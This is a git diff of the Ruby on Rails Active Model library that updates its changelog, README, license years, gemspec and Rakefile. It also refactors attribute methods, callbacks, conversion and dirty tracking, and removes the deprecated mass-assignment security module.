-* `ActiveModel::MassAssignmentSecurity` has been extracted from Active Model and the
- `protected_attributes` gem should be added to Gemfile in order to use
- `attr_accessible` and `attr_protected` macros in your models.
-
- *Guillermo Iguaran*
-
-* Due to a change in builder, nil values and empty strings now generates
- closed tags, so instead of this:
-
- <pseudonyms nil=\"true\"></pseudonyms>
-
- It generates this:
-
- <pseudonyms nil=\"true\"/>
-
- *Carlos Antonio da Silva*
-
-* Changed inclusion and exclusion validators to accept a symbol for `:in` option.
-
- This allows to use dynamic inclusion/exclusion values using methods, besides the current lambda/proc support.
-
- *Gabriel Sobrinho*
-
-* `AM::Validation#validates` ability to pass custom exception to `:strict` option.
-
- *Bogdan Gusiev*
-
-* Changed `ActiveModel::Serializers::Xml::Serializer#add_associations` to by default
- propagate `:skip_types, :dasherize, :camelize` keys to included associations.
- It can be overriden on each association by explicitly specifying the option on one
- or more associations
-
- *Anthony Alberto*
-
-* Changed `AM::Serializers::JSON.include_root_in_json' default value to false.
- Now, AM Serializers and AR objects have the same default behaviour. Fixes #6578.
-
- class User < ActiveRecord::Base; end
-
- class Person
- include ActiveModel::Model
- include ActiveModel::AttributeMethods
- include ActiveModel::Serializers::JSON
-
- attr_accessor :name, :age
-
- def attributes
- instance_values
- end
- end
-
- user.as_json
- => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
- # root is not included
-
- person.as_json
- => {"name"=>"Francesco", "age"=>22}
- # root is not included
-
- *Francesco Rodriguez*
-
-* Passing false hash values to `validates` will no longer enable the corresponding validators *Steve Purcell*
-
-* `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute` *Brian Cardarella*
-
-* Added ActiveModel::Model, a mixin to make Ruby objects work with AP out of box *Guillermo Iguaran*
-
-* `AM::Errors#to_json`: support `:full_messages` parameter *Bogdan Gusiev*
-
-* Trim down Active Model API by removing `valid?` and `errors.full_messages` *José Valim*
-
-* When `^` or `$` are used in the regular expression provided to `validates_format_of` and the :multiline option is not set to true, an exception will be raised. This is to prevent security vulnerabilities when using `validates_format_of`. The problem is described in detail in the Rails security guide *Jan Berdajs + Egor Homakov*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activemodel/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 810daf856c..d58dd9ed9b 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2012 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index 3262bf61ac..f6beff14e1 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -1,8 +1,8 @@
= Active Model -- model interfaces for Rails
Active Model provides a known set of interfaces for usage in model classes.
-They allow for Action Pack helpers to interact with non-ActiveRecord models,
-for example. Active Model also helps building custom ORMs for use outside of
+They allow for Action Pack helpers to interact with non-Active Record models,
+for example. Active Model also helps with building custom ORMs for use outside of
the Rails framework.
Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
@@ -11,7 +11,7 @@ code from Rails, or monkey patch entire helpers to make them handle objects
that did not exactly conform to the Active Record interface. This would result
in code duplication and fragile applications that broke on upgrades. Active
Model solves this by defining an explicit API. You can read more about the
-API in ActiveModel::Lint::Tests.
+API in <tt>ActiveModel::Lint::Tests</tt>.
Active Model provides a default module that implements the basic API required
to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
@@ -24,8 +24,8 @@ to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
end
person = Person.new(name: 'bob', age: '18')
- person.name # => 'bob'
- person.age # => '18'
+ person.name # => 'bob'
+ person.age # => '18'
person.valid? # => true
It includes model name introspections, conversions, translations and
@@ -49,7 +49,8 @@ behavior out of the box:
send("#{attr}=", nil)
end
end
-
+
+ person = Person.new
person.clear_name
person.clear_age
@@ -78,16 +79,31 @@ behavior out of the box:
class Person
include ActiveModel::Dirty
- attr_accessor :name
+ define_attribute_methods :name
+
+ def name
+ @name
+ end
+
+ def name=(val)
+ name_will_change! unless val == @name
+ @name = val
+ end
+
+ def save
+ # do persistence work
+ changes_applied
+ end
end
person = Person.new
- person.name # => nil
- person.changed? # => false
+ person.name # => nil
+ person.changed? # => false
person.name = 'bob'
- person.changed? # => true
- person.changed # => ['name']
- person.changes # => { 'name' => [nil, 'bob'] }
+ person.changed? # => true
+ person.changed # => ['name']
+ person.changes # => { 'name' => [nil, 'bob'] }
+ person.save
person.name = 'robert'
person.save
person.previous_changes # => {'name' => ['bob, 'robert']}
@@ -109,16 +125,19 @@ behavior out of the box:
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name.nil?
+ errors.add(:name, "cannot be nil") if name.nil?
end
def self.human_attribute_name(attr, options = {})
"Name"
end
end
-
+
+ person = Person.new
+ person.name = nil
+ person.validate!
person.errors.full_messages
- # => ["Name can not be nil"]
+ # => ["Name cannot be nil"]
{Learn more}[link:classes/ActiveModel/Errors.html]
@@ -128,29 +147,11 @@ behavior out of the box:
extend ActiveModel::Naming
end
- NamedPerson.model_name # => "NamedPerson"
+ NamedPerson.model_name.name # => "NamedPerson"
NamedPerson.model_name.human # => "Named person"
{Learn more}[link:classes/ActiveModel/Naming.html]
-* Observer support
-
- ActiveModel::Observers allows your object to implement the Observer
- pattern in a Rails App and take advantage of all the standard observer
- functions.
-
- class PersonObserver < ActiveModel::Observer
- def after_create(person)
- person.logger.info("New person added!")
- end
-
- def after_destroy(person)
- person.logger.warn("Person with an id of #{person.id} was destroyed!")
- end
- end
-
- {Learn more}[link:classes/ActiveModel/Observer.html]
-
* Making objects serializable
ActiveModel::Serialization provides a standard interface for your object
@@ -198,41 +199,41 @@ behavior out of the box:
* Validation support
- class Person
- include ActiveModel::Validations
+ class Person
+ include ActiveModel::Validations
- attr_accessor :first_name, :last_name
+ attr_accessor :first_name, :last_name
- validates_each :first_name, :last_name do |record, attr, value|
- record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
- end
- end
+ validates_each :first_name, :last_name do |record, attr, value|
+ record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ end
+ end
- person = Person.new
- person.first_name = 'zoolander'
- person.valid? # => false
+ person = Person.new
+ person.first_name = 'zoolander'
+ person.valid? # => false
{Learn more}[link:classes/ActiveModel/Validations.html]
* Custom validators
+
+ class HasNameValidator < ActiveModel::Validator
+ def validate(record)
+ record.errors[:name] = "must exist" if record.name.blank?
+ end
+ end
- class ValidatorPerson
- include ActiveModel::Validations
- validates_with HasNameValidator
- attr_accessor :name
- end
-
- class HasNameValidator < ActiveModel::Validator
- def validate(record)
- record.errors[:name] = "must exist" if record.name.blank?
- end
- end
+ class ValidatorPerson
+ include ActiveModel::Validations
+ validates_with HasNameValidator
+ attr_accessor :name
+ end
- p = ValidatorPerson.new
- p.valid? # => false
- p.errors.full_messages # => ["Name must exist"]
- p.name = "Bob"
- p.valid? # => true
+ p = ValidatorPerson.new
+ p.valid? # => false
+ p.errors.full_messages # => ["Name must exist"]
+ p.name = "Bob"
+ p.valid? # => true
{Learn more}[link:classes/ActiveModel/Validator.html]
@@ -261,6 +262,11 @@ API documentation is at
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index fc5aaf9f8f..c30a559ef5 100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -9,18 +9,17 @@ Rake::TestTask.new do |t|
t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb").sort
t.warning = true
t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
end
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
Dir.glob("#{dir}/test/**/*_test.rb").all? do |file|
- sh(ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+ sh(Gem.ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
end or raise "Failures"
end
end
-require 'rake/packagetask'
require 'rubygems/package_task'
spec = eval(File.read("#{dir}/activemodel.gemspec"))
@@ -29,7 +28,7 @@ Gem::PackageTask.new(spec) do |p|
p.gem_spec = spec
end
-desc "Release to gemcutter"
+desc "Release to rubygems"
task :release => :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 51655fe3da..73600b83fb 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -5,9 +5,9 @@ Gem::Specification.new do |s|
s.name = 'activemodel'
s.version = version
s.summary = 'A toolkit for building modeling frameworks (part of Rails).'
- s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+ s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -20,5 +20,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
- s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'builder', '~> 3.1'
end
diff --git a/activemodel/examples/validations.rb b/activemodel/examples/validations.rb
deleted file mode 100644
index a56ec4db39..0000000000
--- a/activemodel/examples/validations.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'active_model'
-
-class Person
- include ActiveModel::Conversion
- include ActiveModel::Validations
-
- validates_presence_of :name
-
- attr_accessor :name
-
- def initialize(attributes = {})
- @name = attributes[:name]
- end
-
- def persist
- @persisted = true
- end
-
- def persisted?
- @persisted
- end
-end
-
-person1 = Person.new
-p person1.valid? # => false
-p person1.errors.messages # => {:name=>["can't be blank"]}
-
-person2 = Person.new(:name => "matz")
-p person2.valid? # => true
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index 0a32c5af05..feb3d9371d 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -37,7 +37,6 @@ module ActiveModel
autoload :ForbiddenAttributesProtection
autoload :Lint
autoload :Model
- autoload :DeprecatedMassAssignmentSecurity
autoload :Name, 'active_model/naming'
autoload :Naming
autoload :SecurePassword
@@ -49,6 +48,7 @@ module ActiveModel
eager_autoload do
autoload :Errors
+ autoload :StrictValidationFailed, 'active_model/errors'
end
module Serializers
@@ -60,9 +60,9 @@ module ActiveModel
end
end
- def eager_load!
+ def self.eager_load!
super
- ActiveModel::Serializer.eager_load!
+ ActiveModel::Serializers.eager_load!
end
end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index af11da1351..ea07c5c039 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -1,3 +1,5 @@
+require 'thread_safe'
+require 'mutex_m'
module ActiveModel
# Raised when an attribute is not defined.
@@ -11,19 +13,23 @@ module ActiveModel
# # => ActiveModel::MissingAttributeError: missing attribute: user_id
class MissingAttributeError < NoMethodError
end
- # == Active \Model Attribute Methods
+
+ # == Active \Model \Attribute \Methods
#
- # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
- # suffixes to your methods as well as handling the creation of Active Record
- # like class methods such as +table_name+.
+ # Provides a way to add prefixes and suffixes to your methods as
+ # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+ # class methods such as +table_name+.
#
- # The requirements to implement ActiveModel::AttributeMethods are to:
+ # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
#
- # * <tt>include ActiveModel::AttributeMethods</tt> in your object.
- # * Call each Attribute Method module method you want to add, such as
- # +attribute_method_suffix+ or +attribute_method_prefix+.
+ # * <tt>include ActiveModel::AttributeMethods</tt> in your class.
+ # * Call each of its method you want to add, such as +attribute_method_suffix+
+ # or +attribute_method_prefix+.
# * Call +define_attribute_methods+ after the other methods are called.
# * Define the various generic +_attribute+ methods that you have declared.
+ # * Define an +attributes+ method which returns a hash with each
+ # attribute name in your model as hash key and the attribute value as hash value.
+ # Hash keys must be strings.
#
# A minimal implementation could be:
#
@@ -37,6 +43,10 @@ module ActiveModel
#
# attr_accessor :name
#
+ # def attributes
+ # { 'name' => @name }
+ # end
+ #
# private
#
# def attribute_contrived?(attr)
@@ -51,13 +61,6 @@ module ActiveModel
# send("#{attr}=", 'Default Name')
# end
# end
- #
- # Note that whenever you include ActiveModel::AttributeMethods in your class,
- # it requires you to implement an +attributes+ method which returns a hash
- # with each attribute name in your model as hash key and the attribute value as
- # hash value.
- #
- # Hash keys must be strings.
module AttributeMethods
extend ActiveSupport::Concern
@@ -165,20 +168,19 @@ module ActiveModel
# private
#
# def reset_attribute_to_default!(attr)
- # ...
+ # send("#{attr}=", 'Default Name')
# end
# end
#
# person = Person.new
# person.name # => 'Gem'
# person.reset_name_to_default!
- # person.name # => 'Gemma'
+ # person.name # => 'Default Name'
def attribute_method_affix(*affixes)
self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
undefine_attribute_methods
end
-
# Allows you to make aliases for attributes.
#
# class Person
@@ -212,6 +214,16 @@ module ActiveModel
end
end
+ # Is +new_name+ an alias?
+ def attribute_alias?(new_name)
+ attribute_aliases.key? new_name.to_s
+ end
+
+ # Returns the original name for the alias +name+
+ def attribute_alias(name)
+ attribute_aliases[name.to_s]
+ end
+
# Declares the attributes that should be prefixed and suffixed by
# ActiveModel::AttributeMethods.
#
@@ -233,7 +245,7 @@ module ActiveModel
# private
#
# def clear_attribute(attr)
- # ...
+ # send("#{attr}=", nil)
# end
# end
def define_attribute_methods(*attr_names)
@@ -316,9 +328,10 @@ module ActiveModel
attribute_method_matchers_cache.clear
end
- # Returns true if the attribute methods defined have been generated.
def generated_attribute_methods #:nodoc:
- @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+ @generated_attribute_methods ||= Module.new {
+ extend Mutex_m
+ }.tap { |mod| include mod }
end
protected
@@ -331,23 +344,23 @@ module ActiveModel
# invoked often in a typical rails, both of which invoke the method
# +match_attribute_method?+. The latter method iterates through an
# array doing regular expression matches, which results in a lot of
- # object creations. Most of the times it returns a +nil+ match. As the
+ # object creations. Most of the time it returns a +nil+ match. As the
# match result is always the same given a +method_name+, this cache is
# used to alleviate the GC, which ultimately also speeds up the app
# significantly (in our case our test suite finishes 10% faster with
# this cache).
def attribute_method_matchers_cache #:nodoc:
- @attribute_method_matchers_cache ||= {}
+ @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(initial_capacity: 4)
end
def attribute_method_matcher(method_name) #:nodoc:
- attribute_method_matchers_cache.fetch(method_name) do |name|
+ attribute_method_matchers_cache.compute_if_absent(method_name) do
# Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
# will match every time.
matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
match = nil
- matchers.detect { |method| match = method.match(name) }
- attribute_method_matchers_cache[name] = match
+ matchers.detect { |method| match = method.match(method_name) }
+ match
end
end
@@ -382,14 +395,6 @@ module ActiveModel
AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
def initialize(options = {})
- if options[:prefix] == '' || options[:suffix] == ''
- message = "Specifying an empty prefix/suffix for an attribute method is no longer " \
- "necessary. If the un-prefixed/suffixed version of the method has not been " \
- "defined when `define_attribute_methods` is called, it will be defined " \
- "automatically."
- ActiveSupport::Deprecation.warn message
- end
-
@prefix, @suffix = options.fetch(:prefix, ''), options.fetch(:suffix, '')
@regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
@method_missing_target = "#{@prefix}attribute#{@suffix}"
@@ -412,17 +417,16 @@ module ActiveModel
end
end
- # Allows access to the object attributes, which are held in the
- # <tt>@attributes</tt> hash, as though they were first-class methods. So a
- # Person class with a name attribute can use Person#name and Person#name=
- # and never directly use the attributes hash -- except for multiple assigns
- # with ActiveRecord#attributes=. A Milestone class can also ask
- # Milestone#completed? to test that the completed attribute is not +nil+
- # or 0.
+ # Allows access to the object attributes, which are held in the hash
+ # returned by <tt>attributes</tt>, as though they were first-class
+ # methods. So a +Person+ class with a +name+ attribute can for example use
+ # <tt>Person#name</tt> and <tt>Person#name=</tt> and never directly use
+ # the attributes hash -- except for multiple assigns with
+ # <tt>ActiveRecord::Base#attributes=</tt>.
#
- # It's also possible to instantiate related objects, so a Client class
- # belonging to the clients table with a +master_id+ foreign key can
- # instantiate master through Client#master.
+ # It's also possible to instantiate related objects, so a <tt>Client</tt>
+ # class belonging to the +clients+ table with a +master_id+ foreign key
+ # can instantiate master through <tt>Client#master</tt>.
def method_missing(method, *args, &block)
if respond_to_without_attributes?(method, true)
super
@@ -432,17 +436,17 @@ module ActiveModel
end
end
- # attribute_missing is like method_missing, but for attributes. When method_missing is
- # called we check to see if there is a matching attribute method. If so, we call
- # attribute_missing to dispatch the attribute. This method can be overloaded to
- # customise the behaviour.
+ # +attribute_missing+ is like +method_missing+, but for attributes. When
+ # +method_missing+ is called we check to see if there is a matching
+ # attribute method. If so, we tell +attribute_missing+ to dispatch the
+ # attribute. This method can be overloaded to customize the behavior.
def attribute_missing(match, *args, &block)
__send__(match.target, match.attr_name, *args, &block)
end
- # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
- # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
- # which will all return +true+.
+ # A +Person+ instance with a +name+ attribute can ask
+ # <tt>person.respond_to?(:name)</tt>, <tt>person.respond_to?(:name=)</tt>,
+ # and <tt>person.respond_to?(:name?)</tt> which will all return +true+.
alias :respond_to_without_attributes? :respond_to?
def respond_to?(method, include_private_methods = false)
if super
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index c52e4947ae..b3d70dc515 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/array/extract_options'
+
module ActiveModel
# == Active \Model \Callbacks
#
@@ -28,7 +30,7 @@ module ActiveModel
# end
#
# Then in your class, you can use the +before_create+, +after_create+ and
- # +around_create+ methods, just as you would in an Active Record module.
+ # +around_create+ methods, just as you would in an Active Record model.
#
# before_create :action_before_create
#
@@ -95,13 +97,16 @@ module ActiveModel
# # obj is the MyModel instance that the callback is being called on
# end
# end
+ #
+ # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
+ # `!`, `?` or `=`.
def define_model_callbacks(*callbacks)
options = callbacks.extract_options!
options = {
- :terminator => "result == false",
- :skip_after_callbacks_if_terminated => true,
- :scope => [:kind, :name],
- :only => [:before, :around, :after]
+ terminator: ->(_,result) { result == false },
+ skip_after_callbacks_if_terminated: true,
+ scope: [:kind, :name],
+ only: [:before, :around, :after]
}.merge!(options)
types = Array(options.delete(:only))
@@ -118,30 +123,27 @@ module ActiveModel
private
def _define_before_model_callback(klass, callback) #:nodoc:
- klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
- def self.before_#{callback}(*args, &block)
- set_callback(:#{callback}, :before, *args, &block)
- end
- CALLBACK
+ klass.define_singleton_method("before_#{callback}") do |*args, &block|
+ set_callback(:"#{callback}", :before, *args, &block)
+ end
end
def _define_around_model_callback(klass, callback) #:nodoc:
- klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
- def self.around_#{callback}(*args, &block)
- set_callback(:#{callback}, :around, *args, &block)
- end
- CALLBACK
+ klass.define_singleton_method("around_#{callback}") do |*args, &block|
+ set_callback(:"#{callback}", :around, *args, &block)
+ end
end
def _define_after_model_callback(klass, callback) #:nodoc:
- klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
- def self.after_#{callback}(*args, &block)
- options = args.extract_options!
- options[:prepend] = true
- options[:if] = Array(options[:if]) << "value != false"
- set_callback(:#{callback}, :after, *(args << options), &block)
- end
- CALLBACK
+ klass.define_singleton_method("after_#{callback}") do |*args, &block|
+ options = args.extract_options!
+ options[:prepend] = true
+ conditional = ActiveSupport::Callbacks::Conditionals::Value.new { |v|
+ v != false
+ }
+ options[:if] = Array(options[:if]) << conditional
+ set_callback(:"#{callback}", :after, *(args << options), &block)
+ end
end
end
end
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 1f5d23dd8e..9c9b6f4a77 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,5 @@
module ActiveModel
- # == Active \Model Conversions
+ # == Active \Model \Conversion
#
# Handles default conversions: to_model, to_key, to_param, and to_partial_path.
#
@@ -40,13 +40,15 @@ module ActiveModel
self
end
- # Returns an Enumerable of all key attributes if any is set, regardless if
- # the object is persisted or not. If there no key attributes, returns +nil+.
+ # Returns an Array of all key attributes if any is set, regardless if
+ # the object is persisted or not. Returns +nil+ if there are no key attributes.
#
- # class Person < ActiveRecord::Base
+ # class Person
+ # include ActiveModel::Conversion
+ # attr_accessor :id
# end
#
- # person = Person.create
+ # person = Person.create(id: 1)
# person.to_key # => [1]
def to_key
key = respond_to?(:id) && id
@@ -56,13 +58,18 @@ module ActiveModel
# Returns a +string+ representing the object's key suitable for use in URLs,
# or +nil+ if <tt>persisted?</tt> is +false+.
#
- # class Person < ActiveRecord::Base
+ # class Person
+ # include ActiveModel::Conversion
+ # attr_accessor :id
+ # def persisted?
+ # true
+ # end
# end
#
- # person = Person.create
+ # person = Person.create(id: 1)
# person.to_param # => "1"
def to_param
- persisted? ? to_key.join('-') : nil
+ (persisted? && key = to_key) ? key.join('-') : nil
end
# Returns a +string+ identifying the path associated with the object.
@@ -83,8 +90,8 @@ module ActiveModel
# internal method and should not be accessed directly.
def _to_partial_path #:nodoc:
@_to_partial_path ||= begin
- element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self))
- collection = ActiveSupport::Inflector.tableize(self)
+ element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(name))
+ collection = ActiveSupport::Inflector.tableize(name)
"#{collection}/#{element}".freeze
end
end
diff --git a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
deleted file mode 100644
index 1f409c87b9..0000000000
--- a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveModel
- module DeprecatedMassAssignmentSecurity # :nodoc:
- extend ActiveSupport::Concern
-
- module ClassMethods # :nodoc:
- def attr_protected(*args)
- raise "`attr_protected` is extracted out of Rails into a gem. " \
- "Please use new recommended protection model for params" \
- "(strong_parameters) or add `protected_attributes` to your " \
- "Gemfile to use old one."
- end
-
- def attr_accessible(*args)
- raise "`attr_accessible` is extracted out of Rails into a gem. " \
- "Please use new recommended protection model for params" \
- "(strong_parameters) or add `protected_attributes` to your " \
- "Gemfile to use old one."
- end
- end
- end
-end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index ecb7a9e9b1..4e389c8692 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -1,5 +1,6 @@
require 'active_support/hash_with_indifferent_access'
require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/string/filters'
module ActiveModel
# == Active \Model \Dirty
@@ -14,13 +15,10 @@ module ActiveModel
# track.
# * Call <tt>attr_name_will_change!</tt> before each change to the tracked
# attribute.
- #
- # If you wish to also track previous changes on save or update, you need to
- # add:
- #
- # @previously_changed = changes
- #
- # inside of your save or update method.
+ # * Call <tt>changes_applied</tt> after the changes are persisted.
+ # * Call <tt>clear_changes_information</tt> when you want to reset the changes
+ # information.
+ # * Call <tt>restore_attributes</tt> when you want to restore previous data.
#
# A minimal implementation could be:
#
@@ -39,14 +37,25 @@ module ActiveModel
# end
#
# def save
- # @previously_changed = changes
- # @changed_attributes.clear
+ # # do persistence work
+ #
+ # changes_applied
+ # end
+ #
+ # def reload!
+ # # get the values from the persistence layer
+ #
+ # clear_changes_information
+ # end
+ #
+ # def rollback!
+ # restore_attributes
# end
# end
#
# A newly instantiated object is unchanged:
#
- # person = Person.find_by_name('Uncle Bob')
+ # person = Person.find_by(name: 'Uncle Bob')
# person.changed? # => false
#
# Change the name:
@@ -54,6 +63,7 @@ module ActiveModel
# person.name = 'Bob'
# person.changed? # => true
# person.name_changed? # => true
+ # person.name_changed?(from: "Uncle Bob", to: "Bob") # => true
# person.name_was # => "Uncle Bob"
# person.name_change # => ["Uncle Bob", "Bob"]
# person.name = 'Bill'
@@ -65,6 +75,19 @@ module ActiveModel
# person.changed? # => false
# person.name_changed? # => false
#
+ # Reset the changes:
+ #
+ # person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]}
+ # person.reload!
+ # person.previous_changes # => {}
+ #
+ # Rollback the changes:
+ #
+ # person.name = "Uncle Bob"
+ # person.rollback!
+ # person.name # => "Bill"
+ # person.name_changed? # => false
+ #
# Assigning the same value leaves the attribute unchanged:
#
# person.name = 'Bill'
@@ -77,9 +100,11 @@ module ActiveModel
# person.changed # => ["name"]
# person.changes # => {"name" => ["Bill", "Bob"]}
#
- # If an attribute is modified in-place then make use of <tt>[attribute_name]_will_change!</tt>
- # to mark that the attribute is changing. Otherwise ActiveModel can't track
- # changes to in-place attributes.
+ # If an attribute is modified in-place then make use of
+ # +[attribute_name]_will_change!+ to mark that the attribute is changing.
+ # Otherwise Active Model can't track changes to in-place attributes. Note
+ # that Active Record can detect in-place modifications automatically. You do
+ # not need to call +[attribute_name]_will_change!+ on Active Record models.
#
# person.name_will_change!
# person.name_change # => ["Bill", "Bill"]
@@ -91,7 +116,8 @@ module ActiveModel
included do
attribute_method_suffix '_changed?', '_change', '_will_change!', '_was'
- attribute_method_affix :prefix => 'reset_', :suffix => '!'
+ attribute_method_affix prefix: 'reset_', suffix: '!'
+ attribute_method_affix prefix: 'restore_', suffix: '!'
end
# Returns +true+ if any attribute have unsaved changes, +false+ otherwise.
@@ -119,7 +145,7 @@ module ActiveModel
# person.name = 'bob'
# person.changes # => { "name" => ["bill", "bob"] }
def changes
- HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
+ ActiveSupport::HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
end
# Returns a hash of attributes that were changed before the model was saved.
@@ -129,7 +155,7 @@ module ActiveModel
# person.save
# person.previous_changes # => {"name" => ["bob", "robert"]}
def previous_changes
- @previously_changed
+ @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
end
# Returns a hash of the attributes with unsaved changes indicating their original
@@ -139,14 +165,48 @@ module ActiveModel
# person.name = 'robert'
# person.changed_attributes # => {"name" => "bob"}
def changed_attributes
- @changed_attributes ||= {}
+ @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
+ end
+
+ # Handle <tt>*_changed?</tt> for +method_missing+.
+ def attribute_changed?(attr, options = {}) #:nodoc:
+ result = changed_attributes.include?(attr)
+ result &&= options[:to] == __send__(attr) if options.key?(:to)
+ result &&= options[:from] == changed_attributes[attr] if options.key?(:from)
+ result
+ end
+
+ # Handle <tt>*_was</tt> for +method_missing+.
+ def attribute_was(attr) # :nodoc:
+ attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
+ end
+
+ # Restore all previous data of the provided attributes.
+ def restore_attributes(attributes = changed)
+ attributes.each { |attr| restore_attribute! attr }
end
private
- # Handle <tt>*_changed?</tt> for +method_missing+.
- def attribute_changed?(attr)
- changed_attributes.include?(attr)
+ # Removes current changes and makes them accessible through +previous_changes+.
+ def changes_applied # :doc:
+ @previously_changed = changes
+ @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+ end
+
+ # Clear all dirty data: current changes and previous changes.
+ def clear_changes_information # :doc:
+ @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
+ @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+ end
+
+ def reset_changes
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#reset_changes` is deprecated and will be removed on Rails 5.
+ Please use `#clear_changes_information` instead.
+ MSG
+
+ clear_changes_information
end
# Handle <tt>*_change</tt> for +method_missing+.
@@ -154,11 +214,6 @@ module ActiveModel
[changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
end
- # Handle <tt>*_was</tt> for +method_missing+.
- def attribute_was(attr)
- attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
- end
-
# Handle <tt>*_will_change!</tt> for +method_missing+.
def attribute_will_change!(attr)
return if attribute_changed?(attr)
@@ -169,15 +224,39 @@ module ActiveModel
rescue TypeError, NoMethodError
end
- changed_attributes[attr] = value
+ set_attribute_was(attr, value)
end
# Handle <tt>reset_*!</tt> for +method_missing+.
def reset_attribute!(attr)
